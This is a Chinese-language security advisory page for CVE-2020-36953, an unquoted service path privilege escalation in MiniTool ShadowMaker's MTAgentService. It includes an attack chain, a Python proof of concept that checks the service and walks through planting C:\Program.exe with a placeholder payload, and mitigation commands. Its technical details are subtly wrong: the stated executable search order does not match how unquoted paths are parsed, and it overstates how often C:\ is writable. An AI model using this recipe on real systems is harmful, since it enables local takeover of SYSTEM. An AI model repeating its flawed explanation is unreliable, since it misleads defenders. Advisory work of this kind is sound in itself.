IPBUF安全漏洞报告
English
CVE-2020-36953 CVSS 7.8 高危

CVE-2020-36953 MiniTool ShadowMaker MTAgentService未引用服务路径权限提升漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2020-36953
漏洞类型
未引用服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MiniTool ShadowMaker 3.2

相关标签

未引用服务路径权限提升本地攻击Windows服务漏洞MiniTool ShadowMakerMTAgentServiceCVE-2020-36953

漏洞概述

CVE-2020-36953是MiniTool ShadowMaker 3.2版本中发现的一个高危本地权限提升漏洞。该漏洞存在于MTAgentService服务中,由于服务可执行文件路径未正确引用(Unquoted Service Path)导致。本地低权限攻击者可以利用此漏洞在Windows系统中实现任意代码执行并提升至系统(SYSTEM)权限。MiniTool ShadowMaker是一款广泛应用于Windows系统的备份和还原软件,其MTAgentService服务通常以SYSTEM权限运行。当服务路径中包含空格且未使用引号包裹时,Windows服务控制管理器在启动服务时会按照空格分割路径依次查找并执行可执行文件。攻击者可以通过在中间路径中植入恶意可执行文件,实现权限提升。该漏洞CVSS 3.1评分达到7.8分,属于高危漏洞,对系统安全构成严重威胁。所有使用MiniTool ShadowMaker 3.2及以下版本的用户均受此漏洞影响,建议尽快采取修复措施。

技术细节

该漏洞的根本原因在于Windows服务配置中的路径引用问题。当服务可执行文件路径包含空格且未使用双引号包裹时,服务控制管理器(Service Control Manager)在解析路径时会从左到右依次查找可执行文件。具体来说,MiniTool ShadowMaker的MTAgentService服务配置路径为:C:\Program Files\MiniTool ShadowMaker\AgentService.exe。由于路径中包含空格且未加引号,Windows在查找可执行文件时会按以下顺序尝试:C:\Program.exe、C:\Program Files\AgentService.exe、C:\Program Files\MiniTool\AgentService.exe,最后才会找到正确的路径C:\Program Files\MiniTool ShadowMaker\AgentService.exe。攻击者只需在C:\Program.exe位置放置恶意可执行文件,当服务重启或系统启动时,该恶意文件将以SYSTEM权限被执行,从而实现权限提升。攻击者通常需要具有写入C:\根目录的权限,这在某些配置不当的系统上是可行的。此外,如果系统中存在其他可写的中间目录,攻击者同样可以在这些位置植入恶意程序。成功利用此漏洞需要攻击者具备本地访问权限,属于本地攻击向量,攻击复杂度较低。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地低权限访问权限
STEP 2
步骤2
攻击者识别MTAgentService服务及其未引用路径配置
STEP 3
步骤3
攻击者在C:\根目录植入恶意可执行文件Program.exe
STEP 4
步骤4
等待服务重启或系统重启触发漏洞
STEP 5
步骤5
Windows服务控制管理器查找路径时先找到C:\Program.exe并以SYSTEM权限执行
STEP 6
步骤6
恶意代码以SYSTEM权限执行,实现权限提升和持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36953 PoC - MiniTool ShadowMaker Unquoted Service Path # Author: Security Researcher # Description: Exploit unquoted service path in MiniTool ShadowMaker MTAgentService import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target system is vulnerable""" service_name = "MTAgentService" service_path = r"C:\Program Files\MiniTool ShadowMaker\AgentService.exe" try: # Check if service exists result = subprocess.run( ["sc", "qc", service_name], capture_output=True, text=True ) if "BINARY_PATH_NAME" in result.stdout: print(f"[+] Service '{service_name}' found") if "Program Files" in result.stdout and '"' not in result.stdout: print("[+] Service is vulnerable - unquoted path detected") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable to be placed at unquoted path location""" malicious_path = r"C:\Program.exe" # Create a simple malicious executable (reverse shell or payload) # This is a placeholder - actual attack would use compiled malware payload_code = ''' #include <windows.h> #include <stdio.h> int main() { // Add your payload here (e.g., create admin user, download malware, etc.) MessageBox(NULL, "Privilege Escalation Triggered", "CVE-2020-36953", MB_OK); // Execute original service system("C:\\\\Program Files\\\\MiniTool ShadowMaker\\\\AgentService.exe"); return 0; } ''' print("[*] Note: This PoC demonstrates the vulnerability concept") print(f"[*] Malicious executable should be placed at: {malicious_path}") print("[*] When MTAgentService starts, it will execute C:\\Program.exe first") return malicious_path def exploit(): """Main exploit function""" if not check_vulnerability(): print("[-] Target is not vulnerable or service not found") return False malicious_path = create_malicious_executable() # In a real attack, attacker would need to place malware at C:\Program.exe # This requires write access to C:\ drive (often available to low-privilege users) print("\n[!] Exploitation steps:") print(f"1. Place malicious executable at: {malicious_path}") print("2. Wait for service restart or system reboot") print("3. Malicious code executes with SYSTEM privileges") print("\n[*] For defense: Quote the service path in registry") print(' sc config MTAgentService binpath= "C:\\Program Files\\MiniTool ShadowMaker\\AgentService.exe"') return True if __name__ == "__main__": exploit()

影响范围

MiniTool ShadowMaker <= 3.2

防御指南

临时缓解措施
临时缓解措施:1)使用icacls命令限制C:\目录的写入权限:icacls C:\ /remove:g Users 2)或者将MiniTool ShadowMaker安装在不包含空格的路径中并重新配置服务 3)禁用MTAgentService服务(如果不影响业务功能):sc config MTAgentService start= disabled 4)部署 Endpoint Detection and Response (EDR) 解决方案监控异常进程执行。长期来看,应等待厂商发布安全更新并及时安装。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表